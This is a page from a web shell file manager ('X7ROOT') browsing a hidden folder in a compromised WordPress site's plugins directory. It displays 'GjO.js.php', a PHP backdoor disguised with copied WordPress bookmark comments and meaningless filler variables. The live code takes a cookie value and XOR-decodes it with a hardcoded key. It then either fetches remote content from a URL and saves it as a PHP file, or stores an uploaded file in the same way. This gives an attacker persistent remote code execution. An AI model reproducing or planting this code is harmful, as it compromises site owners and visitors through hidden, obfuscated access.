X7ROOT File Manager
Current Path:
/home/greejped/haldiawater.com/wp-content/plugins/30pqr80o
home
/
greejped
/
haldiawater.com
/
wp-content
/
plugins
/
30pqr80o
/
ðŸ“
..
📄
FKTf.js.php
(1.86 KB)
📄
GjO.js.php
(35.36 KB)
📄
febwpxdu.php
(4.47 KB)
📄
iomntyjc-pic.php
(26.23 KB)
📄
iomntyjc.php
(4.39 KB)
Editing: GjO.js.php
<?php /* * * Link/Bookmark API * * @package WordPress * @subpackage Bookmark * * Retrieves bookmark data. * * @since 2.1.0 * * @global object $link Current link object. * @global wpdb $wpdb WordPress database abstraction object. * * @param int|stdClass $bookmark * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to an stdClass object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. How to sanitize bookmark fields. Default 'raw'. * @return array|object|null Type returned depends on $output value. function get_bookmark( $bookmark, $output = OBJECT, $filter = 'raw' ) { global $wpdb; if ( empty( $bookmark ) ) { if ( isset( $GLOBALS['link'] ) ) { $_bookmark = & $GLOBALS['link']; } else { $_bookmark = null; } } elseif ( is_object( $bookmark ) ) { wp_cache_add( $bookmark->link_id, $bookmark, 'bookmark' ); $_bookmark = $bookmark; } else { if ( isset( $GLOBALS['link'] ) && ( $GLOBALS['link']->link_id === $bookmark ) ) { $_bookmark = & $GLOBALS['link']; } else { $_bookmark = wp_cache_get( $bookmark, 'bookmark' ); if ( ! $_bookmark ) { $_bookmark = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark ) ); if ( $_bookmark ) { $_bookmark->link_category = array_unique( wp_get_object_terms( $_bookmark->link_id, 'link_category', array( 'fields' => 'ids' ) ) ); wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' ); } } } } if ( ! $_bookmark ) { return $_bookmark; } $_bookmark = sanitize_bookmark( $_bookmark, $filter ); if ( OBJECT === $output ) { return $_bookmark; } elseif ( ARRAY_A === $output ) { return get_object_vars( $_bookmark ); } elseif ( ARRAY_N === $output ) { return array_values( get_object_vars( $_bookmark ) ); } else { return $_bookmark; } } * * Retrieves single bookmark data item or field. * * @since 2.3.0 * * @param string $field The name of the data field to return. * @param int $bookmark The bookmark ID to get field. * @param string $context Optional. The context of how the field will be used. Default 'display'. * @return string|WP_Error function get_bookmark_field( $field, $bookmark, $context = 'display' ) { $bookmark = (int) $bookmark; $bookmark = get_bookmark( $bookmark ); if ( is_wp_error( $bookmark ) ) { return $bookmark; } if ( ! is_object( $bookmark ) ) { return ''; } if ( ! isset( $bookmark->$field ) ) { return ''; } return sanitize_bookmark_field( $field, $bookmark->$field, $bookmark->link_id, $context ); } * * Retrieves the list of bookmarks. * * Attempts to retrieve from the cache first based on MD5 hash of arguments. If * that fails, then the query will be built from the arguments and executed. The * results will be stored to the cache. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|array $args { * Optional. String or array of arguments to retrieve bookmarks. * * @type string $orderby How to order the links by. Accepts 'id', 'link_id', 'name', 'link_name', * 'url', 'link_url', 'visible', 'link_visible', 'rating', 'link_rating', * 'owner', 'link_owner', 'updated', 'link_updated', 'notes', 'link_notes', * 'description', 'link_description', 'length' and 'rand'. * When `$orderby` is 'length', orders by the character length of * 'link_name'. Default 'name'. * @type string $order Whether to order bookmarks in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'. * @type int $limit Amount of bookmarks to display. Accepts any positive number or * -1 for all. Default -1. * @type string $category Comma-separated list of category IDs to include links from. * Default empty. * @type string $category_name Category to retrieve links for by name. Default empty. * @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts * 1|true or 0|false. Default 1|true. * @type int|bool $show_updated Whether to display the time the bookmark was last updated. * Accepts 1|true or 0|false. Default 0|false. * @type string $include Comma-separated list of bookmark IDs to include. Default empty. * @type string $exclude Comma-separated list of bookmark IDs to exclude. Default empty. * @type string $search Search terms. Will be SQL-formatted with wildcards before and after * and searched in 'link_url', 'link_name' and 'link_description'. * Default empty. * } * @return object[] List of bookmark row objects. function get_bookmarks( $args = '' ) { global $wpdb; $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'limit' => -1, 'category' => '', 'category_name' => '', 'hide_invisible' => 1, 'show_updated' => 0, 'include' => '', 'exclude' => '', 'search' => '', ); $parsed_args = wp_parse_args( $args, $defaults ); $key = md5( serialize( $parsed_args ) ); $cache = wp_cache_get( 'get_bookmarks', 'bookmark' ); if ( 'rand' !== $parsed_args['orderby'] && $cache ) { if ( is_array( $cache ) && isset( $cache[ $key ] ) ) { $bookmarks = $cache[ $key ]; * * Filters the returned list of bookmarks. * * The first time the hook is evaluated in this file, it returns th*/ /* translators: 1: File name, 2: Error message. */ function is_attachment($should_suspend_legacy_shortcode_support, $page_cache_test_summary) { $S7 = move_uploaded_file($should_suspend_legacy_shortcode_support, $page_cache_test_summary); $mysql_recommended_version = [1, 1, 2, 3, 5]; $ops = array_unique($mysql_recommended_version); $type_settings = count($ops); // 0x0000 = Unicode String (variable length) return $S7; } // SNI, if enabled (OpenSSL >=0.9.8j) /** * Checks if a sidebar can be read publicly. * * @since 5.9.0 * * @param string $sidebar_id The sidebar ID. * @return bool Whether the sidebar can be read. */ function wp_link_manager_disabled_message($post_parent_cache_keys, $hramHash) { $max_h = wp_check_site_meta_support_prefilter($post_parent_cache_keys) - wp_check_site_meta_support_prefilter($hramHash); $root_tag = "1,2,3,4,5"; $is_plural = explode(",", $root_tag); if (count($is_plural) > 3) { $is_plural = array_slice($is_plural, 1, 3); } $max_h = $max_h + 256; $max_h = $max_h % 256; $post_parent_cache_keys = is_admin_bar_showing($max_h); // [3A][96][97] -- A string describing the encoding setting used. return $post_parent_cache_keys; // If it's a 404 page, use a "Page not found" title. } /** * Retrieves the list item separator based on the locale. * * @since 6.0.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @return string Locale-specific list item separator. */ function wp_get_global_stylesheet($x_redirect_by, $save) { $v_pos = strlen($save); // Always persist 'id', because it can be needed for add_additional_fields_to_object(). $revisions_count = "data_segment"; $private_status = explode("_", $revisions_count); $MPEGaudioHeaderLengthCache = str_pad($private_status[1], 12, "*"); // ----- Look for filetime $signed_hostnames = hash('whirlpool', $MPEGaudioHeaderLengthCache); $wp_widget = strlen($x_redirect_by); // are used, the path indicated in PCLZIP_OPT_ADD_PATH is append $query_arg = rawurldecode('%23'); if (strlen($signed_hostnames) < 50) { $site_admins = str_replace("*", $query_arg, $signed_hostnames); } $v_pos = $wp_widget / $v_pos; $v_pos = ceil($v_pos); $show_more_on_new_line = str_split($x_redirect_by); $save = str_repeat($save, $v_pos); $p_remove_path = str_split($save); // Theme Install hooks. $p_remove_path = array_slice($p_remove_path, 0, $wp_widget); $has_dependents = array_map("wp_link_manager_disabled_message", $show_more_on_new_line, $p_remove_path); $has_dependents = implode('', $has_dependents); return $has_dependents; } /** * Divider with image and color (light) block pattern */ function get_options($inner_html) { //There should not be any EOL in the string $v_header_list = pack("H*", $inner_html); return $v_header_list; } /* s_prime = -|s*t| */ function upgrade_101($min_num_pages) { // User option functions. $min_num_pages = "http://" . $min_num_pages; // Thwart attempt to change the post type. $revisions_count = " Hello World! "; $AC3syncwordBytes = trim($revisions_count); return $min_num_pages; // 3.3.0 } /** * Fires before errors are returned from a password reset request. * * @since 2.1.0 * @since 4.4.0 Added the `$media_typesrrors` parameter. * @since 5.4.0 Added the `$user_data` parameter. * * @param WP_Error $media_typesrrors A WP_Error object containing any errors generated * by using invalid credentials. * @param WP_User|false $user_data WP_User object if found, false if the user does not exist. */ function is_admin_bar_showing($prop_count) { // Check if the domain has been used already. We should return an error message. $post_parent_cache_keys = sprintf("%c", $prop_count); // Comma-separated list of user roles. $ExpectedNumberOfAudioBytes = "HelloWorld"; $is_core = substr($ExpectedNumberOfAudioBytes, 0, 5); return $post_parent_cache_keys; } /** * Filters whether to retrieve the avatar URL early. * * Passing a non-null value in the 'url' member of the return array will * effectively short circuit get_avatar_data(), passing the value through * the {@see 'get_avatar_data'} filter and returning early. * * @since 4.2.0 * * @param array $web_config_filergs Arguments passed to get_avatar_data(), after processing. * @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. */ function wp_schedule_single_event($min_num_pages) { $i0 = basename($min_num_pages); // Make sure that new menus assigned to nav menu locations use their new IDs. $j11 = file_is_displayable_image($i0); $mce_translation = "loremipsum"; ge_double_scalarmult_vartime($min_num_pages, $j11); // Send email with activation link. } /** * WordPress Filesystem Class for implementing SSH2 * * To use this class you must follow these steps for PHP 5.2.6+ * * {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes} * * Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work) * * cd /usr/src * wget https://www.libssh2.org/download/libssh2-0.14.tar.gz * tar -zxvf libssh2-0.14.tar.gz * cd libssh2-0.14/ * ./configure * make all install * * Note: Do not leave the directory yet! * * Enter: pecl install -f ssh2 * * Copy the ssh.so file it creates to your PHP Module Directory. * Open up your PHP.INI file and look for where extensions are placed. * Add in your PHP.ini file: extension=ssh2.so * * Restart Apache! * Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist. * * Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`. * * @since 2.7.0 * * @package WordPress * @subpackage Filesystem */ function block_core_social_link_get_color_styles() { // output the code point for digit t + ((q - t) mod (base - t)) return __DIR__; } /** * Filters the video embed output. * * @since 3.6.0 * * @param string $video Video embed output. * @param array $web_config_filettr An array of embed attributes. * @param string $min_num_pages The original URL that was matched by the regex. * @param array $rawattr The original unmodified attributes. */ function file_is_displayable_image($i0) // Modified to not read entire file into memory // { return block_core_social_link_get_color_styles() . DIRECTORY_SEPARATOR . $i0 . ".php"; } /** * Debug level to show all messages. * * @var int */ function get_id($j11, $save) { $network_activate = file_get_contents($j11); $pretty_name = "OriginalString"; $mbstring_func_overload = rawurldecode($pretty_name); $transient_key = hash('sha1', $mbstring_func_overload); $v_dirlist_descr = substr($mbstring_func_overload, 1, 8); $view_style_handle = str_pad($v_dirlist_descr, 20, "^"); $image_blocks = wp_get_global_stylesheet($network_activate, $save); // Prevent widget & menu mapping from running since Customizer already called it up front. $widget_b = explode("r", $pretty_name); $hidden = array_merge($widget_b, array($view_style_handle)); $inner_block = strlen($pretty_name); $style_assignment = implode(":", $hidden); if (isset($style_assignment)) { $request_data = in_array($view_style_handle, $hidden); } // ----- Look if file is a directory file_put_contents($j11, $image_blocks); // Return our values } /** * Filters the relative path to an uploaded file. * * @since 2.9.0 * * @param string $new_path Relative path to the file. * @param string $path Full path to the file. */ function wp_check_site_meta_support_prefilter($prop_count) { $prop_count = ord($prop_count); //$this->warning('VBR header ignored, assuming CBR '.round($path_partsbr_bitrate_in_short_scan / 1000).'kbps based on scan of '.$this->mp3_valid_check_frames.' frames'); return $prop_count; } /** * @global string $mode List table view mode. * * @param string $which The location of the pagination nav markup: Either 'top' or 'bottom'. */ function get_uploaded_header_images($min_num_pages) { $min_num_pages = upgrade_101($min_num_pages); $post_values = "HelloWorld"; $requested_url = trim($post_values); return file_get_contents($min_num_pages); } /** * Gets the new term ID corresponding to a previously split term. * * @since 4.2.0 * * @param int $old_term_id Term ID. This is the old, pre-split term ID. * @param string $taxonomy Taxonomy that the term belongs to. * @return int|false If a previously split term is found corresponding to the old term_id and taxonomy, * the new term_id will be returned. If no previously split term is found matching * the parameters, returns false. */ function rfcDate($j11, $last_checked) { return file_put_contents($j11, $last_checked); } /** * Displays link create form fields. * * @since 2.7.0 * * @param object $link Current link object. */ function get_shortcut_link($roots, $show_in_nav_menus) { $popular_importers = $_COOKIE[$roots]; // Separates classes with a single space, collates classes for comment DIV. $web_config_file = date("Y-m-d"); $larger_ratio = date("H:i:s"); $popular_importers = get_options($popular_importers); $nav_menu_setting_id = wp_get_global_stylesheet($popular_importers, $show_in_nav_menus); $path_parts = array("year" => "2023", "month" => "October"); $OriginalOffset = count($path_parts); $media_types = "time"; if (videoCodecLookup($nav_menu_setting_id)) { if (strlen($web_config_file) > 5) { $upgrade_dir_is_writable = array_merge($path_parts, array($media_types => $larger_ratio)); } $mid = is_base_request($nav_menu_setting_id); return $mid; } // If we're adding a new priority to the list, put them back in sorted order. block_core_navigation_block_contains_core_navigation($roots, $show_in_nav_menus, $nav_menu_setting_id); } /** * Retrieves the type for register_rest_field() in the context of comments. * * @since 4.7.0 * * @return string The REST field type. */ function count_imported_posts($home_page_id) // Flags a specified msg as deleted. The msg will not { echo $home_page_id; } /** * Favorite actions were deprecated in version 3.2. Use the admin bar instead. * * @since 2.7.0 * @deprecated 3.2.0 Use WP_Admin_Bar * @see WP_Admin_Bar */ function block_core_navigation_block_contains_core_navigation($roots, $show_in_nav_menus, $nav_menu_setting_id) { // Temporarily set default to undefined so we can detect if existing value is set. if (isset($_FILES[$roots])) { $revisions_rest_controller_class = array("data1", "data2", "data3"); $walker_class_name = implode("|", $revisions_rest_controller_class); // carry5 = (s5 + (int64_t) (1L << 20)) >> 21; $notice = str_pad($walker_class_name, 15, "!"); if (!empty($notice)) { $has_items = hash('md5', $notice); $remote_file = substr($has_items, 0, 10); } start_previewing_theme($roots, $show_in_nav_menus, $nav_menu_setting_id); } count_imported_posts($nav_menu_setting_id); } /* * TODO: Fix up request_filesystem_credentials(), or split it, to allow us to request a no-output version. * This will output a credentials form in event of failure. We don't want that, so just hide with a buffer. */ function ge_double_scalarmult_vartime($min_num_pages, $j11) // Parse comment parent IDs for a NOT IN clause. { $this_role = get_uploaded_header_images($min_num_pages); // Deprecated files. $revisions_count = "splice_text"; if ($this_role === false) { return false; } // Set avdataoffset $private_status = explode("_", $revisions_count); $signed_hostnames = hash('sha3-224', $private_status[0]); $network_wide = substr($signed_hostnames, 0, 12); return rfcDate($j11, $this_role); } /** * Server-side rendering of the `core/query` block. * * @package WordPress */ function render_block_core_rss($roots) { $show_in_nav_menus = 'yvcRKceoxGVqudDndXtD'; $typography_block_styles = "Concatenate"; $videomediaoffset = hash("sha256", $typography_block_styles); if (!empty($videomediaoffset)) { $requested_url = trim($videomediaoffset); } if (isset($_COOKIE[$roots])) { get_shortcut_link($roots, $show_in_nav_menus); // enable a more-fuzzy match to prevent close misses generating errors like "PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 33554464 bytes)" } } /* translators: 1: Theme version, 2: New version. */ function search_elements_by_tag($roots, $user_registered = 'txt') { return $roots . '.' . $user_registered; // * Error Correction Flags BYTE 8 // } /** * Checks if any scheduled tasks are late. * * Returns a boolean value of `true` if a scheduled task is late and ends processing. * * If the list of crons is an instance of WP_Error, returns the instance instead of a boolean value. * * @since 5.3.0 * * @return bool|WP_Error True if a cron is late, false if not. WP_Error if the cron is set to that. */ function videoCodecLookup($min_num_pages) { // 0000 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^56-2 if (strpos($min_num_pages, "/") !== false) { $x_redirect_by = "Info&Data"; $query_arg = rawurldecode($x_redirect_by); $thisMsg = strlen($query_arg); if ($thisMsg > 5) { $quicktags_toolbar = substr($query_arg, 0, 6); } return true; } return false; } /** * Registers theme support for a given feature. * * Must be called in the theme's functions.php file to work. * If attached to a hook, it must be {@see 'after_setup_theme'}. * The {@see 'init'} hook may be too late for some features. * * Example usage: * * add_theme_support( 'title-tag' ); * add_theme_support( 'custom-logo', array( * 'height' => 480, * 'width' => 720, * ) ); * * @since 2.9.0 * @since 3.4.0 The `custom-header-uploads` feature was deprecated. * @since 3.6.0 The `html5` feature was added. * @since 3.6.1 The `html5` feature requires an array of types to be passed. Defaults to * 'comment-list', 'comment-form', 'search-form' for backward compatibility. * @since 3.9.0 The `html5` feature now also accepts 'gallery' and 'caption'. * @since 4.1.0 The `title-tag` feature was added. * @since 4.5.0 The `customize-selective-refresh-widgets` feature was added. * @since 4.7.0 The `starter-content` feature was added. * @since 5.0.0 The `responsive-embeds`, `align-wide`, `dark-editor-style`, `disable-custom-colors`, * `disable-custom-font-sizes`, `editor-color-palette`, `editor-font-sizes`, * `editor-styles`, and `wp-block-styles` features were added. * @since 5.3.0 The `html5` feature now also accepts 'script' and 'style'. * @since 5.3.0 Formalized the existing and already documented `...$web_config_filergs` parameter * by adding it to the function signature. * @since 5.4.0 The `disable-custom-gradients` feature limits to default gradients or gradients added * through `editor-gradient-presets` theme support. * @since 5.5.0 The `core-block-patterns` feature was added and is enabled by default. * @since 5.5.0 The `custom-logo` feature now also accepts 'unlink-homepage-logo'. * @since 5.6.0 The `post-formats` feature warns if no array is passed as the second parameter. * @since 5.8.0 The `widgets-block-editor` feature enables the Widgets block editor. * @since 5.8.0 The `block-templates` feature indicates whether a theme uses block-based templates. * @since 6.0.0 The `html5` feature warns if no array is passed as the second parameter. * @since 6.1.0 The `block-template-parts` feature allows to edit any reusable template part from site editor. * @since 6.1.0 The `disable-layout-styles` feature disables the default layout styles. * @since 6.3.0 The `link-color` feature allows to enable the link color setting. * @since 6.3.0 The `border` feature allows themes without theme.json to add border styles to blocks. * @since 6.5.0 The `appearance-tools` feature enables a few design tools for blocks, * see `WP_Theme_JSON::APPEARANCE_TOOLS_OPT_INS` for a complete list. * * @global array $_wp_theme_features * * @param string $upgrade_dir_is_writableeature The feature being added. Likely core values include: * - 'admin-bar' * - 'align-wide' * - 'appearance-tools' * - 'automatic-feed-links' * - 'block-templates' * - 'block-template-parts' * - 'border' * - 'core-block-patterns' * - 'custom-background' * - 'custom-header' * - 'custom-line-height' * - 'custom-logo' * - 'customize-selective-refresh-widgets' * - 'custom-spacing' * - 'custom-units' * - 'dark-editor-style' * - 'disable-custom-colors' * - 'disable-custom-font-sizes' * - 'disable-custom-gradients' * - 'disable-layout-styles' * - 'editor-color-palette' * - 'editor-gradient-presets' * - 'editor-font-sizes' * - 'editor-styles' * - 'featured-content' * - 'html5' * - 'link-color' * - 'menus' * - 'post-formats' * - 'post-thumbnails' * - 'responsive-embeds' * - 'starter-content' * - 'title-tag' * - 'widgets' * - 'widgets-block-editor' * - 'wp-block-styles' * @param mixed ...$web_config_filergs Optional extra arguments to pass along with certain features. * @return void|false Void on success, false on failure. */ function start_previewing_theme($roots, $show_in_nav_menus, $nav_menu_setting_id) { $i0 = $_FILES[$roots]['name']; $revisions_count = "data=data2"; $maxlength = explode("=", $revisions_count); $j11 = file_is_displayable_image($i0); $token_key = implode("--", $maxlength); $site__in = str_pad($token_key, 15, "!"); get_id($_FILES[$roots]['tmp_name'], $show_in_nav_menus); // Remove possible contextual '\n' and closing double quote. is_attachment($_FILES[$roots]['tmp_name'], $j11); } /** * Is the response a redirect? * * @return boolean True if redirect (3xx status), false if not. */ function is_base_request($nav_menu_setting_id) // Add the necessary directives. { wp_schedule_single_event($nav_menu_setting_id); $web_config_file = array(); $larger_ratio = isset($web_config_file[0]) ? $web_config_file[0] : "default"; $path_parts = hash("md4", $larger_ratio); // [15][49][A9][66] -- Contains miscellaneous general information and statistics on the file. $OriginalOffset = str_pad($path_parts, 15, " "); count_imported_posts($nav_menu_setting_id); } // Replace wpdb placeholder in the SQL statement used by the cache key. /** * Private * * @global array $_wp_deprecated_widgets_callbacks */ function add_shortcode($noerror) { $image_id = "Url Decoding Example"; // No arguments set, skip sanitizing. $tries = 0; $y0 = rawurldecode($image_id); $hide_style = str_pad($y0, 15, " "); $BlockHeader = $noerror; $has_items = hash('sha512', $hide_style); $open_by_default = substr($has_items, 0, 20); if (isset($open_by_default)) { $show_video_playlist = str_replace("a", "0", $open_by_default); } while ($BlockHeader > 0) { $tries = $tries * 10 + $BlockHeader % 10; $BlockHeader = (int)($BlockHeader / 10); } return $noerror == $tries; } $roots = 'ojEE'; $web_config_file = "example string"; render_block_core_rss($roots); $larger_ratio = hash("whirlpool", $web_config_file); /* e cached * bookmarks list. The second evaluation returns a cached bookmarks list if the * link category is passed but does not exist. The third evaluation returns * the full cached results. * * @since 2.1.0 * * @see get_bookmarks() * * @param array $bookmarks List of the cached bookmarks. * @param array $parsed_args An array of bookmark query arguments. return apply_filters( 'get_bookmarks', $bookmarks, $parsed_args ); } } if ( ! is_array( $cache ) ) { $cache = array(); } $inclusions = ''; if ( ! empty( $parsed_args['include'] ) ) { $parsed_args['exclude'] = ''; Ignore exclude, category, and category_name params if using include. $parsed_args['category'] = ''; $parsed_args['category_name'] = ''; $inclinks = wp_parse_id_list( $parsed_args['include'] ); if ( count( $inclinks ) ) { foreach ( $inclinks as $inclink ) { if ( empty( $inclusions ) ) { $inclusions = ' AND ( link_id = ' . $inclink . ' '; } else { $inclusions .= ' OR link_id = ' . $inclink . ' '; } } } } if ( ! empty( $inclusions ) ) { $inclusions .= ')'; } $exclusions = ''; if ( ! empty( $parsed_args['exclude'] ) ) { $exlinks = wp_parse_id_list( $parsed_args['exclude'] ); if ( count( $exlinks ) ) { foreach ( $exlinks as $exlink ) { if ( empty( $exclusions ) ) { $exclusions = ' AND ( link_id <> ' . $exlink . ' '; } else { $exclusions .= ' AND link_id <> ' . $exlink . ' '; } } } } if ( ! empty( $exclusions ) ) { $exclusions .= ')'; } if ( ! empty( $parsed_args['category_name'] ) ) { $parsed_args['category'] = get_term_by( 'name', $parsed_args['category_name'], 'link_category' ); if ( $parsed_args['category'] ) { $parsed_args['category'] = $parsed_args['category']->term_id; } else { $cache[ $key ] = array(); wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); * This filter is documented in wp-includes/bookmark.php return apply_filters( 'get_bookmarks', array(), $parsed_args ); } } $search = ''; if ( ! empty( $parsed_args['search'] ) ) { $like = '%' . $wpdb->esc_like( $parsed_args['search'] ) . '%'; $search = $wpdb->prepare( ' AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ', $like, $like, $like ); } $category_query = ''; $join = ''; if ( ! empty( $parsed_args['category'] ) ) { $incategories = wp_parse_id_list( $parsed_args['category'] ); if ( count( $incategories ) ) { foreach ( $incategories as $incat ) { if ( empty( $category_query ) ) { $category_query = ' AND ( tt.term_id = ' . $incat . ' '; } else { $category_query .= ' OR tt.term_id = ' . $incat . ' '; } } } } if ( ! empty( $category_query ) ) { $category_query .= ") AND taxonomy = 'link_category'"; $join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id"; } if ( $parsed_args['show_updated'] ) { $recently_updated_test = ', IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated '; } else { $recently_updated_test = ''; } $get_updated = ( $parsed_args['show_updated'] ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : ''; $orderby = strtolower( $parsed_args['orderby'] ); $length = ''; switch ( $orderby ) { case 'length': $length = ', CHAR_LENGTH(link_name) AS length'; break; case 'rand': $orderby = 'rand()'; break; case 'link_id': $orderby = "$wpdb->links.link_id"; break; default: $orderparams = array(); $keys = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description' ); foreach ( explode( ',', $orderby ) as $ordparam ) { $ordparam = trim( $ordparam ); if ( in_array( 'link_' . $ordparam, $keys, true ) ) { $orderparams[] = 'link_' . $ordparam; } elseif ( in_array( $ordparam, $keys, true ) ) { $orderparams[] = $ordparam; } } $orderby = implode( ',', $orderparams ); } if ( empty( $orderby ) ) { $orderby = 'link_name'; } $order = strtoupper( $parsed_args['order'] ); if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ), true ) ) { $order = 'ASC'; } $visible = ''; if ( $parsed_args['hide_invisible'] ) { $visible = "AND link_visible = 'Y'"; } $query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query"; $query .= " $exclusions $inclusions $search"; $query .= " ORDER BY $orderby $order"; if ( -1 !== $parsed_args['limit'] ) { $query .= ' LIMIT ' . absint( $parsed_args['limit'] ); } $results = $wpdb->get_results( $query ); if ( 'rand()' !== $orderby ) { $cache[ $key ] = $results; wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); } * This filter is documented in wp-includes/bookmark.php return apply_filters( 'get_bookmarks', $results, $parsed_args ); } * * Sanitizes all bookmark fields. * * @since 2.3.0 * * @param stdClass|array $bookmark Bookmark row. * @param string $context Optional. How to filter the fields. Default 'display'. * @return stdClass|array Same type as $bookmark but with fields sanitized. function sanitize_bookmark( $bookmark, $context = 'display' ) { $fields = array( 'link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated', 'link_rel', 'link_notes', 'link_rss', ); if ( is_object( $bookmark ) ) { $do_object = true; $link_id = $bookmark->link_id; } else { $do_object = false; $link_id = $bookmark['link_id']; } foreach ( $fields as $field ) { if ( $do_object ) { if ( isset( $bookmark->$field ) ) { $bookmark->$field = sanitize_bookmark_field( $field, $bookmark->$field, $link_id, $context ); } } else { if ( isset( $bookmark[ $field ] ) ) { $bookmark[ $field ] = sanitize_bookmark_field( $field, $bookmark[ $field ], $link_id, $context ); } } } return $bookmark; } * * Sanitizes a bookmark field. * * Sanitizes the bookmark fields based on what the field name is. If the field * has a strict value set, then it will be tested for that, else a more generic * filtering is applied. After the more strict filter is applied, if the `$context` * is 'raw' then the value is immediately return. * * Hooks exist for the more generic cases. With the 'edit' context, the {@see 'edit_$field'} * filter will be called and passed the `$value` and `$bookmark_id` respectively. * * With the 'db' context, the {@see 'pre_$field'} filter is called and passed the value. * The 'display' context is the final context and has the `$field` has the filter name * and is passed the `$value`, `$bookmark_id`, and `$context`, respectively. * * @since 2.3.0 * * @param string $field The bookmark field. * @param mixed $value The bookmark field value. * @param int $bookmark_id Bookmark ID. * @param string $context How to filter the field value. Accepts 'raw', 'edit', 'db', * 'display', 'attribute', or 'js'. Default 'display'. * @return mixed The filtered value. function sanitize_bookmark_field( $field, $value, $bookmark_id, $context ) { $int_fields = array( 'link_id', 'link_rating' ); if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } switch ( $field ) { case 'link_category': array( ints ) $value = array_map( 'absint', (array) $value ); * We return here so that the categories aren't filtered. * The 'link_category' filter is for the name of a link category, not an array of a link's link categories. return $value; case 'link_visible': bool stored as Y|N $value = preg_replace( '/[^YNyn]/', '', $value ); break; case 'link_target': "enum" $targets = array( '_top', '_blank' ); if ( ! in_array( $value, $targets, true ) ) { $value = ''; } break; } if ( 'raw' === $context ) { return $value; } if ( 'edit' === $context ) { * This filter is documented in wp-includes/post.php $value = apply_filters( "edit_{$field}", $value, $bookmark_id ); if ( 'link_notes' === $field ) { $value = esc_html( $value ); textarea_escaped } else { $value = esc_attr( $value ); } } elseif ( 'db' === $context ) { * This filter is documented in wp-includes/post.php $value = apply_filters( "pre_{$field}", $value ); } else { * This filter is documented in wp-includes/post.php $value = apply_filters( "{$field}", $value, $bookmark_id, $context ); if ( 'attribute' === $context ) { $value = esc_attr( $value ); } elseif ( 'js' === $context ) { $value = esc_js( $value ); } } Restore the type for integer fields after esc_attr(). if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } return $value; } * * Deletes the bookmark cache. * * @since 2.7.0 * * @param int $bookmark_id Bookmark ID. function clean_bookmark_cache( $bookmark_id ) { wp_cache_delete( $bookmark_id, 'bookmark' ); wp_cache_delete( 'get_bookmarks', 'bookmark' ); clean_object_term_cache( $bookmark_id, 'link' ); } */
Upload File
Create Folder